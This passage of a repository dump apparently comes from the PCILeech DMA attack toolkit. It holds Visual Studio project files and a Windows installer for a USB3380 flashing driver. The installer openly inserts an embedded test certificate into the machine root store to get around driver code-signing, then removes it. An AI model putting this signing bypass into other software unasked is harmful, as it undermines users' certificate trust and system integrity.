   <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell Compress-Archive -Path '$(SolutionDir)\\files\\USB3380Flash\\USB3380Flash\\*.*', '$(SolutionDir)\\files\\USB3380Flash_installer\\USB3380Flash_installer.exe' -DestinationPath '$(SolutionDir)\\files\\USB3380Flash.zip' -Force -CompressionLevel Optimal\ndel \"$(SolutionDir)\\files\\pcileech_files.zip\"\npowershell Compress-Archive -Path '$(SolutionDir)\\files\\*.*' -DestinationPath '$(SolutionDir)\\files\\pcileech_files.zip' -Force -CompressionLevel Optimal</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n      <ProgramDatabaseFile />\n      <LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell Compress-Archive -Path '$(SolutionDir)\\files\\USB3380Flash\\USB3380Flash\\*.*', '$(SolutionDir)\\files\\USB3380Flash_installer\\USB3380Flash_installer.exe' -DestinationPath '$(SolutionDir)\\files\\USB3380Flash.zip' -Force -CompressionLevel Optimal\ndel \"$(SolutionDir)\\files\\pcileech_files.zip\"\npowershell Compress-Archive -Path '$(SolutionDir)\\files\\*.*' -DestinationPath '$(SolutionDir)\\files\\pcileech_files.zip' -Force -CompressionLevel Optimal</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n      <ProgramDatabaseFile>\n      </ProgramDatabaseFile>\n      <LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell Compress-Archive -Path '$(SolutionDir)\\files\\USB3380Flash\\USB3380Flash\\*.*', '$(SolutionDir)\\files\\USB3380Flash_installer\\USB3380Flash_installer.exe' -DestinationPath '$(SolutionDir)\\files\\USB3380Flash.zip' -Force -CompressionLevel Optimal\n</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"installer.c\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash_Installer/USB3380Flash_Installer.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"installer.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash_Installer/USB3380Flash_Installer.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup />\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash_Installer/installer.c",
    "content": "// installer.c : flash driver installation program.\n// required to get around windows code signing requirement when importing UMDF\n// drivers into the system driver store.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <Windows.h>\n#include <Newdev.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"crypt32.lib\")\n#pragma comment(lib, \"newdev.lib\")\n\n#define CONFIG_PATH_INF \"USB3380Flash.inf\"\n\nconst BYTE SIGNER_CERTIFICATE[] = {\n\t0x30, 0x82, 0x03, 0x0e, 0x30, 0x82, 0x01, 0xf6, 0xa0, 0x03, 0x02, 0x01,\n\t0x02, 0x02, 0x10, 0x32, 0xca, 0x16, 0x38, 0xfd, 0xc9, 0x6d, 0xa6, 0x4f,\n\t0x36, 0xb9, 0x22, 0x68, 0x3d, 0xba, 0xb4, 0x30, 0x0d, 0x06, 0x09, 0x2a,\n\t0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x30,\n\t0x31, 0x2e, 0x30, 0x2c, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x57,\n\t0x44, 0x4b, 0x54, 0x65, 0x73, 0x74, 0x43, 0x65, 0x72, 0x74, 0x20, 0x75,\n\t0x6c, 0x66, 0x72, 0x31, 0x31, 0x2c, 0x31, 0x33, 0x30, 0x38, 0x37, 0x32,\n\t0x33, 0x32, 0x33, 0x32, 0x36, 0x32, 0x37, 0x31, 0x38, 0x34, 0x30, 0x38,\n\t0x30, 0x1e, 0x17, 0x0d, 0x31, 0x35, 0x30, 0x39, 0x32, 0x30, 0x31, 0x34,\n\t0x31, 0x38, 0x34, 0x37, 0x5a, 0x17, 0x0d, 0x32, 0x35, 0x30, 0x39, 0x32,\n\t0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x30, 0x30, 0x31, 0x2e,\n\t0x30, 0x2c, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x57, 0x44, 0x4b,\n\t0x54, 0x65, 0x73, 0x74, 0x43, 0x65, 0x72, 0x74, 0x20, 0x75, 0x6c, 0x66,\n\t0x72, 0x31, 0x31, 0x2c, 0x31, 0x33, 0x30, 0x38, 0x37, 0x32, 0x33, 0x32,\n\t0x33, 0x32, 0x36, 0x32, 0x37, 0x31, 0x38, 0x34, 0x30, 0x38, 0x30, 0x82,\n\t0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d,\n\t0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82,\n\t0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xc8, 0x54, 0xde, 0x6d, 0xfd,\n\t0x19, 0x97, 0x3f, 0xf0, 0x6e, 0x8a, 0xc2, 0xff, 0x32, 0xbd, 0x61, 0x3d,\n\t0x9c, 0xbc, 0xd7, 0x0e, 0x80, 0x51, 0x6e, 0xf1, 0xf2, 0xf3, 0x0f, 0x54,\n\t0x24, 0x82, 0xa4, 0x48, 0xfa, 0xd8, 0xcb, 0xf0, 0x43, 0xc6, 0x44, 0xde,\n\t0x61, 0x14, 0xe2, 0xf6, 0xc8, 0xf9, 0x2a, 0xb2, 0x61, 0x46, 0xd8, 0x9b,\n\t0xc6, 0x99, 0x71, 0x1f, 0x05, 0xae, 0x39, 0xd1, 0x86, 0x28, 0x34, 0x63,\n\t0x35, 0x32, 0x5a, 0x79, 0x09, 0x9d, 0x7f, 0x4b, 0x8a, 0x72, 0xcc, 0xdb,\n\t0xf4, 0xee, 0x05, 0x7c, 0xb7, 0x6c, 0x24, 0x3d, 0x7a, 0xce, 0x6a, 0x9d,\n\t0xf6, 0x43, 0xc7, 0x0c, 0x03, 0xa7, 0x0f, 0x3f, 0xc8, 0xb2, 0x80, 0x13,\n\t0xe3, 0x8c, 0xf2, 0x16, 0x6e, 0x25, 0xbf, 0x53, 0x9d, 0xfc, 0xaa, 0xce,\n\t0x2b, 0xa8, 0xd3, 0x88, 0xd2, 0xdc, 0x3f, 0x78, 0x30, 0x24, 0x2a, 0x12,\n\t0x00, 0x2b, 0x59, 0xbf, 0xf3, 0x96, 0x02, 0x73, 0xae, 0xb9, 0x77, 0x03,\n\t0xa7, 0x12, 0xde, 0xc3, 0x4d, 0x3d, 0x61, 0xb9, 0xd2, 0x57, 0x4a, 0x37,\n\t0xf0, 0xca, 0x55, 0x97, 0xc2, 0xbd, 0x8a, 0xb0, 0x97, 0xc5, 0x78, 0x5c,\n\t0x1a, 0x32, 0x22, 0xba, 0x58, 0xaa, 0x32, 0x4d, 0x9a, 0xf3, 0xe5, 0x93,\n\t0x54, 0x6d, 0x5a, 0xbb, 0xc2, 0x17, 0xa1, 0x1f, 0x71, 0x83, 0xb9, 0x66,\n\t0x02, 0xa4, 0xca, 0xf4, 0x03, 0x68, 0xcc, 0x72, 0x64, 0xff, 0x36, 0x80,\n\t0x06, 0xe7, 0x34, 0xcd, 0x4c, 0xba, 0xb2, 0x3f, 0x2a, 0x2d, 0x5e, 0xfc,\n\t0x5b, 0x9c, 0x88, 0xa4, 0xbc, 0xec, 0x58, 0x99, 0xe0, 0xaf, 0xb7, 0x35,\n\t0x6f, 0x4f, 0x37, 0xb5, 0xc8, 0xe0, 0xb4, 0xda, 0x90, 0xb9, 0xdd, 0xaa,\n\t0x96, 0xb7, 0x3b, 0xfb, 0xbf, 0xad, 0x8d, 0x88, 0x5c, 0xc9, 0xbb, 0xbd,\n\t0x07, 0x01, 0xf4, 0x11, 0x7a, 0x05, 0x40, 0xbb, 0x15, 0xa5, 0xf5, 0x02,\n\t0x03, 0x01, 0x00, 0x01, 0xa3, 0x24, 0x30, 0x22, 0x30, 0x0b, 0x06, 0x03,\n\t0x55, 0x1d, 0x0f, 0x04, 0x04, 0x03, 0x02, 0x04, 0x30, 0x30, 0x13, 0x06,\n\t0x03, 0x55, 0x1d, 0x25, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b, 0x06,\n\t0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,\n\t0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01,\n\t0x01, 0x00, 0x8a, 0x37, 0x29, 0x13, 0xb2, 0x7b, 0xc3, 0x00, 0xba, 0xec,\n\t0xe4, 0x4a, 0xcf, 0xab, 0x4b, 0x47, 0x7c, 0xe2, 0x4a, 0x0e, 0x57, 0x63,\n\t0xd5, 0x3e, 0xc2, 0xa7, 0x3c, 0xf4, 0x89, 0x94, 0x91, 0x3a, 0xd5, 0x72,\n\t0xf6, 0xdf, 0xae, 0x9f, 0x92, 0xc8, 0xf9, 0xd2, 0xb9, 0x2b, 0xab, 0xed,\n\t0x8a, 0x8b, 0xa1, 0x6f, 0xa4, 0x4b, 0x78, 0xb0, 0x42, 0xcb, 0xc3, 0xfb,\n\t0xd8, 0x5a, 0x8e, 0xa0, 0xe6, 0x01, 0x9c, 0x00, 0x0e, 0xeb, 0xd2, 0xd1,\n\t0x55, 0xf0, 0x4b, 0xd8, 0xd0, 0xc9, 0x3e, 0x27, 0x8e, 0x18, 0xfa, 0x34,\n\t0xa2, 0xcc, 0xc6, 0x41, 0x96, 0xa8, 0x37, 0xa5, 0xe7, 0x43, 0x8c, 0x85,\n\t0xbf, 0x31, 0xb8, 0x87, 0x2f, 0xbe, 0xfb, 0x22, 0x84, 0x4b, 0x0e, 0xa5,\n\t0x4d, 0xad, 0x0e, 0x0e, 0x74, 0x3a, 0x7a, 0xcd, 0xaf, 0x5a, 0x38, 0xe5,\n\t0xee, 0x56, 0x60, 0x7e, 0x56, 0x4f, 0xd1, 0x78, 0x96, 0x05, 0xa9, 0x9e,\n\t0x45, 0xa8, 0x93, 0x4d, 0x7d, 0x72, 0x1f, 0x57, 0xf9, 0x94, 0xd2, 0xea,\n\t0x13, 0x3f, 0xbb, 0x3e, 0x60, 0xf0, 0x6c, 0xcd, 0x41, 0xdb, 0x53, 0x59,\n\t0xab, 0x49, 0x23, 0xe7, 0x20, 0x13, 0xdc, 0x30, 0x7c, 0x8c, 0xe6, 0x03,\n\t0x3c, 0xca, 0xf3, 0xa0, 0x82, 0xc0, 0xa1, 0xcd, 0x9b, 0x28, 0x77, 0x78,\n\t0x74, 0xae, 0x5c, 0x0b, 0xb0, 0xe7, 0x7b, 0xd9, 0x5f, 0xe8, 0xcc, 0xb0,\n\t0xa2, 0x14, 0x9a, 0xaa, 0x5d, 0x82, 0x77, 0x1d, 0xad, 0x5a, 0x2a, 0xcf,\n\t0x11, 0xbc, 0xd0, 0xa2, 0x4a, 0x60, 0x09, 0xc7, 0xf3, 0xd4, 0xcc, 0x41,\n\t0x23, 0x95, 0xe8, 0x9b, 0x22, 0xec, 0xf8, 0x2c, 0xec, 0x7d, 0xa8, 0x94,\n\t0x60, 0xfd, 0xde, 0x55, 0xde, 0xc9, 0x7c, 0xc0, 0x74, 0xa4, 0x57, 0x4c,\n\t0x33, 0x61, 0x36, 0xfc, 0xc7, 0x5e, 0xdd, 0x4a, 0xd4, 0xb6, 0x46, 0xda,\n\t0xba, 0x86, 0xfc, 0x5f, 0xbf, 0x2b\n};\n\nBOOL InsertCertificate(_In_ PCCERT_CONTEXT pCert)\n{\n\tBOOL status;\n\tHCERTSTORE hStoreMachineRoot;\n\thStoreMachineRoot = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_LOCAL_MACHINE, L\"Root\");\n\tif(!hStoreMachineRoot) { return FALSE; }\n\tstatus = CertAddCertificateContextToStore(hStoreMachineRoot, pCert, CERT_STORE_ADD_USE_EXISTING, NULL);\n\tCertCloseStore(hStoreMachineRoot, 0);\n\treturn status;\n}\n\nBOOL DeleteCertificate(_In_ PCCERT_CONTEXT pCert)\n{\n\tBOOL status = TRUE;\n\tPCCERT_CONTEXT pCertE = NULL;\n\tHCERTSTORE hStoreMachineRoot;\n\thStoreMachineRoot = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_LOCAL_MACHINE, L\"Root\");\n\tif(!hStoreMachineRoot) { return FALSE; }\n\twhile(pCertE = CertEnumCertificatesInStore(hStoreMachineRoot, pCertE)) {\n\t\tif(CertCompareCertificate(X509_ASN_ENCODING, pCert->pCertInfo, pCertE->pCertInfo)) {\n\t\t\tstatus = CertDeleteCertificateFromStore(pCertE);\n\t\t\tgoto cleanup;\n\t\t}\n\t}\n\tcleanup:\n\tCertCloseStore(hStoreMachineRoot, 0);\n\treturn status;\n}\n\nBOOL RegistrySetDisableDriver(BOOL isDisable) {\n\tDWORD status, dw;\n\tHKEY hRegKey;\n\tstatus = RegOpenKeyA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\WUDF\\\\Services\\\\PCILeechFlash\", &hRegKey);\n\tif(status != ERROR_SUCCESS) { return FALSE; }\n\tdw = isDisable ? 1 : 0;\n\tstatus = RegSetValueExA(hRegKey, \"disable\", 0, REG_DWORD, (PBYTE)&dw, sizeof(DWORD));\n\tRegCloseKey(hRegKey);\n\treturn status;\n}\n\nint main(_In_ int argc, _In_ char* argv[])\n{\n\tBOOL status;\n\tPCCERT_CONTEXT pCertSigner;\n\tUNREFERENCED_PARAMETER(argc);\n\tUNREFERENCED_PARAMETER(argv);\n\tprintf(\n\t\t\"PCILeech PCIe flash utility for initial flashing of USB3380          \\n\" \\\n\t\t\"=====================================================================\\n\" \\\n\t\t\"This utility is supported on 64-bit Windows 8.1 or Windows 10. Please\\n\" \\\n\t\t\"note that Windows 7 is not supported.   If this utility fail to flash\\n\" \\\n\t\t\"please try the Linux based flash utility instead.                    \\n\" \\\n\t\t\" - PCILeech PCIe flash utility (c) 2016 Ulf Frisk                    \\n\" \\\n\t\t\" - Version: 1.0                                                      \\n\" \\\n\t\t\" - License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007     \\n\" \\\n\t\t\" - Contact information: pcileech@frizk.net, https://github.com/ufrisk\\n\" \\\n\t\t\" - System requirements: 64-bit Windows 8.1, 10 or later.             \\n\" \\\n\t\t\"                                                                     \\n\" \\\n\t\t\"Installing driver ... Please accept any driver install popups ...    \\n\");\n\tRegistrySetDisableDriver(FALSE);\n\tpCertSigner = CertCreateCertificateContext(X509_ASN_ENCODING, SIGNER_CERTIFICATE, sizeof(SIGNER_CERTIFICATE));\n\tstatus = InsertCertificate(pCertSigner);\n\tif(!status) {\n\t\tprintf(\n\t\t\t\"Installation failed. Could not teporarily insert signer certificate  \\n\" \\\n\t\t\t\"into machine root store. Please reboot and try again, or use Linux   \\n\" \\\n\t\t\t\"flash module.                                                        \\n\" \\\n\t\t\t\"ERROR - Exiting ...                                                  \\n\" \\\n\t\t\t\"Please press enter to exit.                                          \\n\");\n\t\tgetchar();\n\t\treturn 0;\n\t}\n\tstatus = DiInstallDriverA(NULL, CONFIG_PATH_INF, 0, FALSE);\n\tif(!status) {\n\t\tprintf(\n\t\t\t\"Installation failed. Could not install the flash driver due to an un-\\n\" \\\n\t\t\t\"known reason. Please reboot and try again, or use Linux flash module.\\n\" \\\n\t\t\t\"ERROR - Exiting ...                                                  \\n\" \\\n\t\t\t\"Please press enter to exit.                                          \\n\");\n\t\tgoto cleanup;\n\t}\n\tprintf(\n\t\t\"                                                                     \\n\" \\\n\t\t\"Driver hopefully installed. Please insert the hardware that should be\\n\" \\\n\t\t\"flashed into a PCILeech device. Supported hardware is the USB3380-EVB\\n\" \\\n\t\t\"mini PCIe board and the PP3380 PCIe board.  If flashing is successful\\n\" \\\n\t\t\"on the USB3380-EVB mini-PCIe board a BLUE LED will light up brightly.\\n\" \\\n\t\t\"No indication will be given on the PP3380 board. Insert the PCIe side\\n\" \\\n\t\t\"of the hardware into this computer. The USB side should not be       \\n\" \\\n\t\t\"connected at this stage.                                             \\n\" \\\n\t\t\"                                                                     \\n\" \\\n\t\t\"NB! If flashing the PP3380 PCIe card the J3 jumper must be bridged to\\n\" \\\n\t\t\"connect the EEPROM.  This is not necessary for the USB3380-EVB board.\\n\" \\\n\t\t\"                                                                     \\n\" \\\n\t\t\"Upon successful flashing the device must be power cycled in order for\\n\" \\\n\t\t\"the flashed changes to take effect.                                  \\n\" \\\n\t\t\"                                                                     \\n\" \\\n\t\t\"After flashing is completed please press enter to exit.              \\n\");\n\tcleanup:\n\tgetchar();\n\tstatus = DeleteCertificate(pCertSigner);\n\tCertFreeCertificateContext(pCertSigner);\n\tstatus = RegistrySetDisableDriver(TRUE);\n\treturn 0;\n}\n"
  }
]